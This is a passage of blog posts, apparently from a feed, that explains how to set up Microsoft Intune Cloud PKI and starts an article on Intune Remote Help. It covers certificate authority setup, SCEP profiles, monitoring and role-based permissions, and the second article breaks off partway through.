<h2 id="certificate-fundamentals" tabindex="-1">📃 Certificate fundamentals <a class="header-anchor" href="#certificate-fundamentals" aria-label="Permalink to &quot;:page_with_curl: Certificate fundamentals&quot;">&ZeroWidthSpace;</a></h2>
<h3 id="certification-authority-types" tabindex="-1">Certification authority types <a class="header-anchor" href="#certification-authority-types" aria-label="Permalink to &quot;Certification authority types&quot;">&ZeroWidthSpace;</a></h3>
<p>A certification authority (CA) performs the following tasks:</p>
<ul>
<li>Verifies the identity of a certificate requestor</li>
<li>Issues certificates to requestors</li>
<li>Manages certificate revocation</li>
</ul>
<p>Microsoft Cloud PKI supports these types of certificate authorities:</p>
<ul>
<li>Root CA</li>
<li>Issuing CA</li>
</ul>
<p><u>Root certification authority</u></p>
<p>A root certification authority (CA) sits at the very top of your PKI setup, think of it as the main source of trust for everything below it. Its certificate is self-signed, meaning it basically vouches for itself (the issuer and subject are the same). You trust a root CA by adding its certificate to your trusted root store. From there, the root CA can hand out certificates to other CAs or even directly to users, devices, or services, signing each one with its private key to prove they're legit.</p>
<div class="important custom-block github-alert"><p class="custom-block-title">IMPORTANT</p>
<p>Microsoft Cloud PKI issues certificates exclusively to devices that are enrolled through mobile device management (MDM).</p>
</div>
<p><u>Issuing certification authority</u></p>
<div class="note custom-block github-alert"><p class="custom-block-title">NOTE</p>
<p>The terms intermediate, issuing, and subordinate all refer to the same CA role. Microsoft Cloud PKI uses &quot;issuing CA&quot; for this type.</p>
</div>
<p>An issuing CA is a subordinate certification authority that operates below a root CA in the hierarchy. It can:</p>
<ul>
<li>Issue certificates to other subordinate CAs within the hierarchy.</li>
<li>Issue end-entity (leaf) certificates to servers, services, clients, or devices.</li>
</ul>
<p>Issuing CAs can be positioned at any tier in the CA hierarchy except the root level.</p>
<hr>
<h3 id="chaining" tabindex="-1">Chaining <a class="header-anchor" href="#chaining" aria-label="Permalink to &quot;Chaining&quot;">&ZeroWidthSpace;</a></h3>
<p>Chaining determines the optimal trust path for verifying a certificate.
Each OS or service uses a certificate chain engine to compute and validate this path.</p>
<p>The chain building process involves:</p>
<ul>
<li><strong>Certificate discovery:</strong> The process of finding and retrieving the issuing CA certificate for a leaf certificate, ensuring the chain leads up to a trusted root CA.</li>
<li><strong>Certificate validation:</strong> Building possible chains and checking each certificate for validity (name, time, signature, revocation, and other constraints).</li>
<li><strong>Selecting the best chain:</strong> Returning the highest quality trust path.</li>
</ul>
<p>When verifying a certificate, the chain engine searches the certificate store for intermediate and root candidates.
Multiple intermediates may be needed to complete the chain.
The engine matches certificates using the subject key identifier (SKI) and authority key identifier (AKI), repeating the process until it finds a self-signed root certificate.</p>
<p><u>Chain validation process</u></p>
<div class="note custom-block github-alert"><p class="custom-block-title">NOTE</p>
<p>Certificate chain validation methods differ by OS. This section covers Windows 10/11.</p>
</div>
<p>Windows validates certificate chains using three methods:</p>
<ul>
<li><strong>Exact match:</strong> Uses issuer’s subject, serial number, and KeyID from the AKI extension.</li>
<li><strong>Key match:</strong> Uses only the KeyID from AKI to find a parent with a matching SKI.</li>
<li><strong>Name match:</strong> If AKI is missing, matches the issuer’s subject name to the parent’s subject.</li>
</ul>
<p>If SKI and AKI are missing, Windows uses name matching and if duplicates exist, selects the newest certificate.
If the parent certificate isn't found locally, Windows tries to retrieve it using URLs from the authority information access field.</p>
<p>Each certificate in the chain is checked for formatting, validity, revocation and that the chain ends in a trusted root.<br>
<span style="color:crimson">The chain is valid only if all checks pass.</span></p>
<p>Name matching chain validation example:</p>
<img src="\intune\suite\pki_chain-validation.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="700" loading="lazy"/>
<p><u>Chain of trust</u></p>
<p>For certificate-based authentication to work, both your devices and services (like Wi-Fi, VPN, or web apps) need to trust the full CA chain.
Just make sure the root CA certificate is installed everywhere.
If a device is missing the issuing CA cert, it can usually grab it automatically using the AIA (Authority Information Access) info in the certificate.</p>
<img src="\intune\suite\pki_chain-of-trust.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="700" loading="lazy"/>
<p><u>Certificate-based authentication</u></p>
<p>The certificate-based authentication process and handshake work as follows:</p>
<ol>
<li>Your device starts talking to the service it wants to connect to.</li>
<li>The service replies that it wants to establish a secure connection using TLS/SSL and the SSL handshake begins.</li>
<li>The service asks your device to show a client authentication certificate.</li>
<li>Your device hands over its certificate so it can prove who it is.</li>
</ol>
<img src="\intune\suite\pki_certificate-handshake.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="700" loading="lazy"/>
<h2 id="configurating-cloud-pki" tabindex="-1">🧑‍🔧 Configurating Cloud PKI <a class="header-anchor" href="#configurating-cloud-pki" aria-label="Permalink to &quot;:mechanic: Configurating Cloud PKI&quot;">&ZeroWidthSpace;</a></h2>
<p>Microsoft Cloud PKI supports two deployment options:</p>
<ul>
<li>
<p><strong>Cloud root CA:</strong> Set up a private, cloud-based two-tier PKI in your Intune tenant, with a root CA and one or more issuing CAs that deliver certificates to managed devices via SCEP. All CAs remain tenant-private.</p>
</li>
<li>
<p><strong>Bring your own CA (BYOCA):</strong> Use your existing private CA (e.g., ADCS) as the trust anchor by creating a cloud-based issuing CA in Intune. Intune sends a CSR (Certificate Signing Request) for your private CA to sign, establishing the trust chain.</p>
</li>
</ul>
<p>Microsoft Cloud PKI objects are created and managed in the Microsoft Intune admin center. From there, you can:</p>
<ul>
<li>Set up and manage Cloud PKI</li>
<li>Create and assign certificate profiles to devices</li>
<li>Monitor issued certificates</li>
</ul>
<div class="info custom-block"><p class="custom-block-title">Trust Anchor Location and Chain of Trust</p>
<p>In order to use certificate-based authentication, you must first decide where to store the trust anchor (usually the root CA).
This anchor enables devices and services to verify certificates.
Ensure that all systems have the complete certificate chain, from the root to the issuing CA.
If an intermediate certificate is missing, it can often be retrieved automatically via the AIA link in the certificate.</p>
</div>
<hr>
<h3 id="configure-cloud-ca" tabindex="-1">Configure Cloud CA <a class="header-anchor" href="#configure-cloud-ca" aria-label="Permalink to &quot;Configure Cloud CA&quot;">&ZeroWidthSpace;</a></h3>
<ol>
<li>Sign in to the <strong>Microsoft Intune admin center</strong> and navigate to <strong>Tenant administration</strong> &rarr; <a href="https://intune.microsoft.com/#view/Microsoft_Intune_DeviceSettings/TenantAdminMenu/~/caManagement" target="_blank" rel="noreferrer">Cloud PKI</a> and select <code>Create</code>.</li>
</ol>
<img src="\intune\suite\pki_tenant_setting.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="700" loading="lazy"/>
<ol start="2">
<li>On the first page provide a <strong>Name</strong> and a <strong>Description</strong>.</li>
<li>On the <strong>Configuration settings</strong> page you configure the CA settings.</li>
</ol>
<table>
<thead>
<tr>
<th>CA type: Root CA</th>
<th>CA type: Issuing CA</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Validity period:</strong> 5, 10, 15, 20 or 25 years</td>
<td><strong>Root CA source:</strong> Intune or BYOCA<br><strong>Validity period:</strong> 2, 4, 6, 8 or 10 years (The validity must not exceed the root CA's)</td>
</tr>
<tr>
<td><img src="\intune\suite\pki_rootsettings_1.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="500" loading="lazy"/></td>
<td><img src="\intune\suite\pki_issuingsettings_1.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="500" loading="lazy"/></td>
</tr>
<tr>
<td><div><b>Extended Key Usages</b> purposes:<ul><li>Sever auth</li><li>Client auth</li><li>Code signing</li><li>Email protection</li><li>IPSEC end system</li><li>IPSEC tunnel</li><li>IPSEC user</li><li>Time stamping</li><li>OCSP signing</li><li>Smartcard logon</li><li>MAC adress</li><li>Custom</li><ul><li>Type</li><li>Name</li><li>Object Identifier</li></ul></ul></div></td>
<td><b>Extended Key Usages</b> purposes:<br>Select the intended purpose of the CA from those selected in the Root CA settings.</td>
</tr>
<tr>
<td><div><b>Subject attributes:</b><ul><li>Common name (CN)</li></ul>Optional:<ul><li>Organization (O)</li><li>Country (C) (must be a two-character code)</li><li>State/province (ST)</li><li>Locality (L)</li></ul></div></td>
<td><div><b>Subject attributes:</b><ul><li>Common name (CN)</li></ul>Optional:<ul><li>Organization (O)</li><li>Country (C) (must be a two-character code)</li><li>State/province (ST)</li><li>Locality (L)</li></ul></div></td>
</tr>
<tr>
<td><div><b>Encryption</b>, select the key size and algorithm:<ul><li>RSA-2048 and SHA-256</li><li>RSA-3072 and SHA-384</li><li>RSA-4096 and SHA-512</li></ul></div></td>
<td>The <b>Encryption</b> is set by the root CA.</td>
</tr>
<tr>
<td><img src="\intune\suite\pki_rootsettings_2.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="500" loading="lazy"/></td>
<td><img src="\intune\suite\pki_issuingsettings_2.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="500" loading="lazy"/></td>
</tr>
</tbody>
</table>
<div class="info custom-block"><p class="custom-block-title">INFO</p>
<p>You can use custom validity periods with the Microsoft Graph API.</p>
</div>
<ol start="4">
<li>Select <code>Next</code> and on the next to pages you can add <strong>Scope tags</strong> and <strong>create</strong> the CA.</li>
</ol>
<div class="warning custom-block"><p class="custom-block-title">WARNING</p>
<p><span style="color:crimson">Setting cannot be changed after creation.</span></p>
</div>
<details class="details custom-block"><summary>Configure Bring your own Root CA (BYOCA)</summary>
<ol>
<li>Use the issuing CA’s <strong>subject attributes</strong> to make a CSR (certificate signing request).</li>
<li>After the CA is created you can Download the CSR in the CA's properties to obtain the certificate signing request file in .req format.</li>
<li>Next you need to sign this request with your privat root CA and upload the signed certificate to the Cloud PKI again.</li>
</ol>
<p>You can learn more about using your own root CA <a href="https://go.microsoft.com/fwlink/?linkid=2252362" target="_blank" rel="noreferrer">here</a>.</p>
</details>
<hr>
<h3 id="create-certificate-profiles" tabindex="-1">Create Certificate Profiles <a class="header-anchor" href="#create-certificate-profiles" aria-label="Permalink to &quot;Create Certificate Profiles&quot;">&ZeroWidthSpace;</a></h3>
<p>Microsoft Cloud PKI includes a built-in SCEP service that handles certificate requests for devices automatically.</p>
<p>To start issuing certificates, you’ll need to create trusted cert profiles for both your root and issuing CAs.
These profiles build trust with the Cloud PKI registration authority that uses SCEP.
Then you need for every platform (Windows, Android, iOS/iPadOS, macOS) that’ll get SCEP certs a separate profiles.</p>
<p>&nbsp;</p>
<p><u>Create a trusted Certificate Profile for the root and issuing CA</u></p>
<p>First you need to download the public keys from your Cloud PKI.</p>
<ol>
<li>Open the <strong>Microsoft Intune admin center</strong> and navigate to <strong>Tenant administration</strong> &rarr; <a href="https://intune.microsoft.com/#view/Microsoft_Intune_DeviceSettings/TenantAdminMenu/~/caManagement" target="_blank" rel="noreferrer">Cloud PKI</a>.</li>
</ol>
<img src="\intune\suite\pki_list.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="700" loading="lazy"/>
<ol start="2">
<li>Now select your root CA and issuing CA's and download the certificates.</li>
</ol>
<table>
<thead>
<tr>
<th><img src="\intune\suite\pki_root_properties.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="400" loading="lazy"/></th>
<th><img src="\intune\suite\pki_issuing_properties.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="400" loading="lazy"/></th>
</tr>
</thead>
</table>
<div class="note custom-block github-alert"><p class="custom-block-title">NOTE</p>
<p>Here you can also find the following information:</p>
<ul>
<li>Certificate Revocation List (CRL) distribution point URI</li>
<li>Authority Information Access (AIA) URI</li>
<li>SCEP URI (for issuing CAs)</li>
</ul>
<p><span style="color:crimson">Clients must have network access to these endpoints.</span></p>
</div>
<p>Now we need to install the downloaded root and issuing CA certificates on the clients.</p>
<ol>
<li>Open the <strong>Microsoft Intune admin center</strong> and navigate to <strong>Devices</strong> &rarr; <a href="https://inconfig.cmd.ms" target="_blank" rel="noreferrer">Configuration</a>.</li>
<li>Next you need to click <code>Create</code> and select <code>New Policy</code>.</li>
<li>After that you choose your <strong>Platform</strong> and select <strong>Profile type:</strong> <span style="color:crimson">Templates</span></li>
</ol>
<img src="\intune\suite\pki_profile_templates.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="300" loading="lazy"/>
<ol start="4">
<li>Here we choose <strong>Trusted certificate</strong> and click <code>Create</code>.</li>
<li>In the next screen you can set the <strong>Name</strong> and <strong>Description</strong>.</li>
<li>After that you upload first the root certificate and in a second trusted certificate profile the issuing certificate.</li>
<li>You need to select the appropriate <strong>Destination store</strong> for the certificate.</li>
</ol>
<img src="\intune\suite\pki_profile_trust_settings.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="700" loading="lazy"/>
<ol start="8">
<li>Next choose an assignment, applicability rules and create the profiles.</li>
</ol>
<p><u>Create SCEP certificate profile</u></p>
<p>Just like you set up trusted cert profiles, you’ll need to create a SCEP cert profile for each OS you want to support.
This lets devices grab client auth certificates from the issuing CA, which they’ll use for things like connecting to Wi-Fi or VPN.</p>
<div class="note custom-block github-alert"><p class="custom-block-title">NOTE</p>
<p>SCEP certificates for Intune-managed devices can only be issued by Cloud PKI issuing CAs, including BYOCA.</p>
</div>
<p>First you need to copy the <strong>SCEP URI</strong> from your Cloud PKI.</p>
<ol>
<li>Open the <strong>Microsoft Intune admin center</strong> and navigate to <strong>Tenant administration</strong> &rarr; <a href="https://intune.microsoft.com/#view/Microsoft_Intune_DeviceSettings/TenantAdminMenu/~/caManagement" target="_blank" rel="noreferrer">Cloud PKI</a>.</li>
<li>Now select your issuing CA and copy the <span style="color:crimson">SCEP URI</span> in the <strong>Properties</strong>.</li>
</ol>
<img src="\intune\suite\pki_scep.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="700" loading="lazy"/>
<p>Next you create the SCEP certificate Profile.</p>
<ol>
<li>Open the <strong>Microsoft Intune admin center</strong> and navigate to <strong>Devices</strong> &rarr; <a href="https://inconfig.cmd.ms" target="_blank" rel="noreferrer">Configuration</a>.</li>
<li>Next you need to click <code>Create</code> and select <code>New Policy</code>.</li>
<li>After that you choose your <strong>Platform</strong> and select <strong>Profile type:</strong> <span style="color:crimson">Templates</span></li>
</ol>
<img src="\intune\suite\pki_profile_templates.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="300" loading="lazy"/>
<ol start="4">
<li>Here we choose <strong>SCEP certificate</strong> and click <code>Create</code>.</li>
<li>In the next screen you can set the <strong>Name</strong> and <strong>Description</strong>.</li>
<li>Now under Configuration settings you can paste the copied <strong>SCEP URI</strong> into the <strong>SCEP Server URLs</strong> field. Keep the <code>&#123;&#123;CloudPKIFQDN&#125;&#125;</code> placeholder as is, Intune will fill in the right FQDN when it sends the profile to devices. It’ll be something under <code>*.manage.microsoft.com</code>. You can find more infos about Network Endpoints for Microsoft Intune <a href="https://learn.microsoft.com/mem/intune/fundamentals/intune-endpoints" target="_blank" rel="noreferrer">here</a>.</li>
<li>After that you can configure the remaining settings:
<ul>
<li><strong>Certificate type:</strong> User or Device</li>
<li><strong>Subject name format:</strong> Ensure all variables used are present on the user or device object in Microsoft Entra ID.</li>
<li><strong>Certificate validity period:</strong> The amount of time remaining before the certificate expires in days, month or years.</li>
<li><strong>Key storage provider (KSP):</strong> Select where you want to store the certificate key (TPM KSP, Windows Hello for Business or Software KSP).</li>
<li><strong>Key usage:</strong> Specify the cryptographic action that is required to exchange the certificate's public key (Digital Signature, Key encipherment).</li>
<li><strong>Key size (bits):</strong> Select the key length (1024, 2048 or 4096).</li>
<li><strong>Hash algorithm:</strong> Use a hash algorithm type with the certificate (SHA-1 or SHA-2).</li>
<li><strong>Root Certificate:</strong> Select the root CA that this chain of trust should use.</li>
<li><strong>Extended key usage:</strong> Select the EKU you specified in the issuing certificate. If you choose an EKU that isn't on the issuing CA, the SCEP profile will fail and no certificate will be issued.</li>
<li><strong>Renewal threshold:</strong> The device can ask for a renewal as soon as this percentage of the time is left.</li>
</ul>
</li>
</ol>
<img src="\intune\suite\pki_profile_scep_settings.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="600" loading="lazy"/>
<ol start="4">
<li>Lastly you assign the profile to your targets and then <strong>Create</strong> it.</li>
</ol>
<h2 id="monitoring" tabindex="-1">🔍 Monitoring <a class="header-anchor" href="#monitoring" aria-label="Permalink to &quot;:mag: Monitoring&quot;">&ZeroWidthSpace;</a></h2>
<p><u>View issued certificates</u></p>
<p>To view issued certificates, go to <strong>Devices</strong> &rarr; <strong>Monitor</strong>, and then select <a href="https://intune.microsoft.com/#view/Microsoft_Intune_DeviceSettings/AllDeviceCertificatesReportV2.ReactView" target="_blank" rel="noreferrer">Certificates</a>.</p>
<img src="\intune\suite\pki_monitor.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="800" loading="lazy"/>
<p><u>Monitor Cloud PKI issuing CA</u></p>
<p>Monitor certificate deployments from issuing CA's to your Intune devices. When opening the CA you find a dashboard displaying the following:</p>
<ul>
<li>Active certificates</li>
<li>Expired certificates</li>
<li>Revoked certificates</li>
<li>Total issued certificates</li>
</ul>
<p>Select <code>View all certificates</code> to see all issued certificates. The Reports are normally updated in 24 hours.</p>
<img src="\intune\suite\pki_issuing.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="400" loading="lazy"/>
<p>You can also manually revoke an issued leaf certificate from this dashboard.</p>
<ol>
<li>Select <code>View all certificates</code>.</li>
<li>Choose the certificate and click <code>Revoke</code>.</li>
</ol>
<div class="warning custom-block github-alert"><p class="custom-block-title">WARNING</p>
<p>If you manually revoke a certificate and the device is still assigned, it will grab a new one the next time it checks in.</p>
</div>
<p><u>View SCEP certificate profile report</u></p>
<p>Go to <strong>Devices</strong> &rarr; <strong>Configuration</strong> and select the <strong>SCEP profile</strong>, and then select <strong>Certificates</strong>.</p>
<img src="\intune\suite\pki_profile_scep.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="400" loading="lazy"/>
<p><u>Audit logs</u></p>
<p>In the admin center, go to <strong>Tenant Administration</strong> &rarr; <a href="https://intune.microsoft.com/#view/Microsoft_Intune_DeviceSettings/TenantAdminMenu/~/auditing" target="_blank" rel="noreferrer">Audit Logs</a>.</p>
<img src="\intune\suite\pki_audit.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="800" loading="lazy"/>
<p>You can current list of the available logs <a href="https://learn.microsoft.com/en-gb/intune/intune-service/protect/microsoft-cloud-pki-audit-logs#available-logs" target="_blank" rel="noreferrer">here</a>.</p>
<p><u>View Certificates on the Client</u></p>
<p>Open the local certificate store (certmgr.msc) on your device and navigate to <strong>Trusted Root Certificate Authorities</strong> &rarr; <strong>Certificates</strong> to view the installed Root Certificates.</p>
<img src="\intune\suite\pki_root_check.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="700" loading="lazy"/>
<p>Open the local certificate store (certmgr.msc) on your device and navigate to <strong>Intermediate Certificate Authorities</strong> &rarr; <strong>Certificates</strong> to view the installed Intermediate Certificates.</p>
<img src="\intune\suite\pki_issuing_check.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="700" loading="lazy"/>
<h2 id="conclusion" tabindex="-1">💡 Conclusion <a class="header-anchor" href="#conclusion" aria-label="Permalink to &quot;:bulb: Conclusion&quot;">&ZeroWidthSpace;</a></h2>
<p>In short, <span style="color:crimson">Intune Cloud PKI</span> makes it a lot easier to manage certificates without the hassle of on-prem infrastructure.
It’s a modern, cloud-based solution that <span style="color:crimson">integrates seamlessly with Intune</span>, helping you securely authenticate devices and users while keeping things <span style="color:crimson">scalable and simple</span>.
Whether you're rolling out <span style="color:crimson">certificates for Wi-Fi, VPN or app access</span>, Cloud PKI takes care of the heavy lifting, so you can focus more on managing endpoints and less on managing cert servers.</p>
<p>So in my opinion, if you use certificates and have your devices intune managed, Cloud PKI is the <span style="color:crimson">killer feature of the Intune Suite</span>.
It replaces so much manual work and local infrastructure, that it is well worth the price in my opinion.</p>
<p>You can find kown issues and limitations <a href="https://learn.microsoft.com/en-gb/intune/intune-service/protect/microsoft-cloud-pki-overview#known-issues-and-limitations" target="_blank" rel="noreferrer">here</a>.</p>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Remote Help | Intune Suite | Intune]]></title>
            <link>https://michaelsendpoint.com/intune/intune_suite/remote_help.html</link>
            <guid>https://michaelsendpoint.com/intune/intune_suite/remote_help.html</guid>
            <pubDate>Sun, 07 Dec 2025 11:49:50 GMT</pubDate>
            <description><![CDATA[This article provides a comprehensive guide to Microsoft Intune Remote Help, covering its features, prerequisites, configuration, usage, and monitoring for secure remote support across multiple platforms.]]></description>
            <content:encoded><![CDATA[<img src="\intune\suite\banner.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="800" loading="lazy"/>
<h1 id="remote-help" tabindex="-1">Remote Help <a class="header-anchor" href="#remote-help" aria-label="Permalink to &quot;Remote Help&quot;">&ZeroWidthSpace;</a></h1>
<h2 id="introduction" tabindex="-1">👋 Introduction <a class="header-anchor" href="#introduction" aria-label="Permalink to &quot;:wave: Introduction&quot;">&ZeroWidthSpace;</a></h2>
<p>Remote Help is a Microsoft cloud-based <span style="color:crimson">remote support tool</span> designed for IT teams. It enables support staff (helpers) to securely connect to users’ devices (sharers) using organizational accounts via Microsoft Entra ID, ensuring secure and authenticated sessions.</p>
<p>With Remote Help, you can leverage Intune’s role-based access control (RBAC) to define exactly who can provide support and what level of access they have. This gives organizations granular control over remote assistance, helping maintain security and compliance throughout the support process.</p>
<p><u>Features</u></p>
<ul>
<li><strong>Support for unenrolled devices:</strong> You can enable assistance for users on devices not enrolled in Intune.</li>
<li><strong>Organization sign-in:</strong> To prevent impersonations, both the helper and the person receiving support use Microsoft Entra accounts to verify their identity.</li>
<li><strong>Compliance warnings:</strong> If a device doesn’t meet your organization’s compliance policies, helpers will see a warning before connecting.</li>
<li><strong>Role-based access control (RBAC):</strong> Admins can fine-tune who can provide assistance, the permissions they have on the remote device, and whether users can simply view or take full control.</li>
<li><strong>Monitor sessions:</strong> View real-time and historical reports in the Intune admin center, including who helped whom, which device was involved, session duration, and audit logs.</li>
</ul>
<div class="note custom-block github-alert"><p class="custom-block-title">Limitations</p>
<p></p>
<ul>
<li>If you’re helping users on unenrolled devices, the auditing and reporting features are more limited.</li>
<li>You cannot establish a Remote Help session from one tenant to a user in a different tenant.</li>
</ul>
</div>
<h2 id="prerequisites" tabindex="-1">✅ Prerequisites <a class="header-anchor" href="#prerequisites" aria-label="Permalink to &quot;:white_check_mark: Prerequisites&quot;">&ZeroWidthSpace;</a></h2>
<h3 id="general-prerequisites" tabindex="-1">General prerequisites <a class="header-anchor" href="#general-prerequisites" aria-label="Permalink to &quot;General prerequisites&quot;">&ZeroWidthSpace;</a></h3>
<p><u>License</u></p>
<ul>
<li>Remote Help add on license, Intune Suite license or M365 E3 / E5 license for all helpers and sharers</li>
</ul>
<p><u>Supported platforms</u></p>
<ul>
<li>Windows 10/11</li>
<li>Windows 10/11 on ARM64 devices</li>
<li>Windows 365</li>
<li>Android</li>
<li>Android Enterprise dedicated devices (Samsung and Zebra devices)</li>
<li>macOS</li>
<li>iOS/iPadOS (works with supported browsers)</li>
<li>Azure Virtual Desktop</li>
<li>Linux (not officially supported but works with supported browsers)</li>
<li>Browser
<ul>
<li>Safari</li>
<li>Chrome</li>
<li>Edge</li>
<li>Firefox</li>
</ul>
</li>
</ul>
<h3 id="platform-prerequisites" tabindex="-1">Platform prerequisites <a class="header-anchor" href="#platform-prerequisites" aria-label="Permalink to &quot;Platform prerequisites&quot;">&ZeroWidthSpace;</a></h3>
<p><u>Remote Help on Windows</u></p>
<ul>
<li>Supports enrolled and unenrolled devices.</li>
<li>Sharer's device must be Intune-enrolled (to remotely start a session).</li>
<li>Remote Help uses port 443 (HTTPS) to connect to <a href="https://remotehelp.microsoft.com" target="_blank" rel="noreferrer">https://remotehelp.microsoft.com</a> via RDP, secured with TLS 1.2.<br>
(See Microsoft docs for the full list of <a href="https://learn.microsoft.com/en-us/intune/intune-service/fundamentals/intune-endpoints?tabs=north-america#remote-help" target="_blank" rel="noreferrer">required network endpoints</a>.)</li>
</ul>
<p><u>Remote Help on macOS</u></p>
<p>No special prerequisites are required.</p>
<p><u>Remote Help Web App</u></p>
<ul>
<li>Single-Sign-On</li>
</ul>
<p><u>Remote Help on Android</u></p>
<ul>
<li>Samsung devices (Android Enterprise Dedicated)</li>
<li>Zebra devices (Android Enterprise Dedicated)</li>
</ul>
<h2 id="data-and-privacy" tabindex="-1">📊 Data and 🔒 privacy <a class="header-anchor" href="#data-and-privacy" aria-label="Permalink to &quot;:bar_chart: Data and :lock: privacy&quot;">&ZeroWidthSpace;</a></h2>
<p>Microsoft logs minimal session data to monitor Remote Help health, this includes:</p>
<ul>
<li><strong>Session times:</strong> When a session starts and ends (retained for 30 days).</li>
<li><strong>Session details:</strong> Includes the identities of the helper and sharer, and the device involved (retained for 30 days).</li>
<li><strong>Errors:</strong> Issues like disconnections are logged on the sharer's device in Event Viewer.</li>
<li><strong>Features used:</strong> Actions performed during the session, such as view-only mode or elevation requests (retained for 30 days).</li>
</ul>
<p>Remote Help logs session details locally in Windows Event Logs for both helper and sharer.<br>
<span style="color:crimson">Microsoft cannot access session content or see actions or keystrokes.</span></p>
<p>Both the helper and sharer see these details from each other's organizational profiles:</p>
<ul>
<li>Profile picture (if you have one)</li>
<li>Company name</li>
<li>Verified domain</li>
<li>First and last name</li>
<li>Job title</li>
</ul>
<div class="info custom-block"><p class="custom-block-title">INFO</p>
<p>Microsoft stores nothing longer then 30 days.</p>
</div>
<h2 id="configuration" tabindex="-1">🧑‍🔧 Configuration <a class="header-anchor" href="#configuration" aria-label="Permalink to &quot;:mechanic: Configuration&quot;">&ZeroWidthSpace;</a></h2>
<h3 id="tenant-config" tabindex="-1">Tenant Config <a class="header-anchor" href="#tenant-config" aria-label="Permalink to &quot;Tenant Config&quot;">&ZeroWidthSpace;</a></h3>
<p>To configure Remote Help in your tenant (for any supported platform), follow these steps:</p>
<p><u>Turn on Remote Help</u></p>
<ol>
<li>Sign in to the Microsoft Intune admin center and head to Tenant administration &rarr; <a href="https://intune.microsoft.com/#view/Microsoft_Intune_DeviceSettings/TenantAdminMenu/~/remote" target="_blank" rel="noreferrer">Remote Help</a>.</li>
<li>Select the Settings tab.
<ol>
<li>Enable Remote Help</li>
<li>Choose whether to allow users to receive help on unenrolled devices, then set this option to <code>Allowed</code> if desired.</li>
<li>Choose whether to allow helpers and sharers to chat with each other during a session, then set this option to <code>No</code> if desired.</li>
</ol>
</li>
</ol>
<img src="\intune\suite\remote-help_settings.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="700" loading="lazy"/>
<p><u>Set up permissions for Remote Help</u></p>
<p>Remote Help uses Intune’s role-based access controls (RBAC) to decide who can help and what they’re allowed to do.</p>
<p>The <span style="color:crimson">Help Desk Operator</span> Role gives you all permissions for a remote help session.</p>
<img src="\intune\suite\remote-help_role.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="700" loading="lazy"/>
<p>Here are the main permissions you can configure for Remote Help sessions:</p>
<table>
<thead>
<tr>
<th><img src="\intune\suite\remote-help_role2.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="350" loading="lazy"/></th>
<th><ul>Category: Remote Help app<ul><li>Elevation</li><li>View screen</li><li>Unattended control</li><li>Take full control</li></ul></ul></th>
</tr>
</thead>
<tbody>
<tr>
<td><img src="\intune\suite\remote-help_role3.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="350" loading="lazy"/></td>
<td><ul>Category: Remote tasks<ul><li>Offer remote assistance</li></ul></ul></td>
</tr>
</tbody>
</table>
<div class="note custom-block github-alert"><p class="custom-block-title">NOTE</p>
<p>Some permissions are dependent on others. When you enable a setting, related permissions are automatically granted:</p>
<ul>
<li>Enabling <code>Take full control</code> also enables <code>View screen</code>.</li>
<li>Enabling <code>Elevation</code> also enables both <code>Take full control</code> and <code>View screen</code>.</li>
<li>Enabling <code>Unattended control</code> automatically grants <span style="color:crimson">all other permissions</span>.</li>
</ul>
</div>
<p>The default <strong>Help Desk Operator</strong> role comes pre-configured with all necessary Remote Help permissions enabled. You can assign this role as-is, or create custom roles to tailor permissions for different support scenarios. For more details on configuring RBAC, see <a href="https://learn.microsoft.com/en-us/intune/intune-service/fundamentals/role-based-access-control" target="_blank" rel="noreferrer">Role-based access control</a>.</p>
<p><u>Assign users to roles</u></p>
<p>To grant helpers the necessary permissions, assign them to the appropriate role:</p>
<ol>
